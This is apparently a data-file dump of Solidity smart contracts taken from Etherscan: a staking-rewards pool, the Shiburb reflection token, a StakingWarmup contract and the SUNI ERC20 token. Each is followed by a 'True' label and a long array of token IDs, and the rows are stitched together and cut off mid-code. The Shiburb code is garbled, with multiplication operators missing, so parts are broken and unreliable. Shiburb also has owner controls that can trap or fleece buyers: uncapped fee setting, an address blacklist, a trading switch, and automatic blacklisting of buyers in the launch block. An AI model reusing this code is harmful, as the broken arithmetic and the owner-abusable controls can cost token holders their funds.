1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-02-06 / pragma solidity ^0.5.0; library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function burn(uint256 amount, uint256 bRate) external returns(uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.5; library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.5.0; contract IRewardDistributionRecipient is Ownable { address rewardDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardDistribution() { require(msg.sender == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } pragma solidity ^0.5.0; contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public stakeToken; uint256 internal _totalSupply; mapping(address => uint256) internal _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakeToken.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakeToken.safeTransfer(msg.sender, amount); } } contract DMONDETHRewards is LPTokenWrapper, IRewardDistributionRecipient { constructor() public { rewardDistribution = msg.sender; } IERC20 public DMOND = IERC20(0x2767e4c3fdB831e094EdB41E42ccD6789Af7B449); uint256 public DURATION = 2592000; uint256 public starttime = 0; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event SetStakeToken(address stakeAddress); event SetStartTime(uint256 unixtime); modifier checkStart() { require(block.timestamp >= starttime,"Rewards haven't started yet!"); _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function remainingReward() public view returns (uint256) { return DMOND.balanceOf(address(this)); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function stake(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot stake 0"); super.stake(amount); } function withdraw(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) checkStart { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; DMOND.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if (block.timestamp > starttime) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } else { rewardRate = reward.div(DURATION); lastUpdateTime = starttime; periodFinish = starttime.add(DURATION); emit RewardAdded(reward); } } function setStakeAddress(address stakeAddress) public onlyOwner { stakeToken = IERC20(stakeAddress); emit SetStakeToken(stakeAddress); } function setStartTime(uint256 unixtime) public onlyOwner { starttime = unixtime; emit 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/** Submitted for verification at Etherscan.io on 2022-04-21 / /** Shiburb - All these birds need an exterminator, the freshest bird killer.” /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$ /$$ /$$$$$$$ /$$$$$$$ /$$__ $$\| $$ \| $$\|_ $$_/\| $$__ $$\| $$ \| $$\| $$__ $$\| $$__ $$ \| $$ \__/\| $$ \| $$ \| $$ \| $$ \ $$\| $$ \| $$\| $$ \ $$\| $$ \ $$ \| $$$$$$ \| $$$$$$$$ \| $$ \| $$$$$$$ \| $$ \| $$\| $$$$$$$/\| $$$$$$$ \____ $$\| $$__ $$ \| $$ \| $$__ $$\| $$ \| $$\| $$__ $$\| $$__ $$ /$$ \ $$\| $$ \| $$ \| $$ \| $$ \ $$\| $$ \| $$\| $$ \ $$\| $$ \ $$ \| $$$$$$/\| $$ \| $$ /$$$$$$\| $$$$$$$/\| $$$$$$/\| $$ \| $$\| $$$$$$$/ \______/ \|__/ \|__/\|______/\|_______/ \______/ \|__/ \|__/\|_______/ / pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ShiburbToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shiburb Token";// string private constant _symbol = "SHIBURB";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 1;// uint256 private _taxFeeOnBuy = 4;// //Sell Fee uint256 private _redisFeeOnSell = 1;// uint256 private _taxFeeOnSell = 7;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x3D0fE205cEC5A88014F163dF67c2CCa0dF9A4EAa);// address payable private _marketingAddress = payable(0x875b1E8c1EDB3DE1259C5A291EFb7C2a6c374613);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 10*9; // uint256 public _maxWalletSize = 50000000 10*9; // uint256 public _swapTokensAtAmount = 10000 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; bots[address(0x66f049111958809841Bbe4b81c034Da2D953AA0c)] = true; bots[address(0x000000005736775Feb0C8568e7DEe77222a26880)] = true; bots[address(0x34822A742BDE3beF13acabF14244869841f06A73)] = true; bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true; bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true; bots[address(0x8484eFcBDa76955463aa12e1d504D7C6C89321F8)] = true; bots[address(0xe5265ce4D0a3B191431e1bac056d72b2b9F0Fe44)] = true; bots[address(0x33F9Da98C57674B5FC5AE7349E3C732Cf2E6Ce5C)] = true; bots[address(0xc59a8E2d2c476BA9122aa4eC19B4c5E2BBAbbC28)] = true; bots[address(0x21053Ff2D9Fc37D4DB8687d48bD0b57581c1333D)] = true; bots[address(0x4dd6A0D3191A41522B84BC6b65d17f6f5e6a4192)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]) \|\| (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress \|\| _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress \|\| _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 2538, 1008, 1013, 1013, 1008, 1008, 11895, 8569, 15185, 1011, 2035, 2122, 5055, 2342, 2019, 4654, 3334, 22311, 4263, 1010, 1996, 4840, 4355, 4743, 6359, 1012, 1524, 1013, 1002, 1002, 1002, 1002, 1002, 1002, 1013, 1002, 1002, 1013, 1002, 1002, 1013, 1002, 1002, 1002, 1002, 1002, 1002, 1013, 1002, 1002, 1002, 1002, 1002, 1002, 1002, 1013, 1002, 1002, 1013, 1002, 1002, 1013, 1002, 1002, 1002, 1002, 1002, 1002, 1002, 1013, 1002, 1002, 1002, 1002, 1002, 1002, 1002, 1013, 1002, 1002, 1035, 1035, 1002, 1002, 1064, 1002, 1002, 1064, 1002, 1002, 1064, 1035, 1002, 1002, 1035, 1013, 1064, 1002, 1002, 1035, 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/** Submitted for verification at Etherscan.io on 2021-11-23 / // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; interface IERC20 { function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract StakingWarmup { address public immutable staking; address public immutable sLOBI; constructor(address _staking, address _sLOBI) { require(_staking != address(0)); staking = _staking; require(_sLOBI != address(0)); sLOBI = _sLOBI; } function retrieve(address _staker, uint256 _amount) external { require(msg.sender == staking); IERC20(sLOBI).transfer(_staker, _amount); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2340, 1011, 2603, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1019, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 26066, 2015, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 2620, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 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/** Submitted for verification at Etherscan.io on 2022-01-25 / pragma solidity 0.6.6; // ---------------------------------------------------------------------------- // 'GGMToken' token contract // // Deployed to : 0xFEB02D9383C49A8373F88e82EbCecB553c1837bf // Symbol : SUNI // Name : SUNIT // Total supply: 3000000 // Decimals : 18 // // Enjoy. // // (c) by Ahiwe Onyebuchi Valentine. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- abstract contract ERC20Interface { function totalSupply() virtual public view returns (uint); function balanceOf(address tokenOwner) virtual public view returns (uint balance); function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); function transfer(address to, uint tokens) virtual public returns (bool success); function approve(address spender, uint tokens) virtual public returns (bool success); function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract SUNI is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "SUNI"; name = "SUNIT"; decimals = 18; _totalSupply = 3000000 * 10 ** 18; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public override view returns (uint) { return _totalSupply - balances[address(0)]; } // 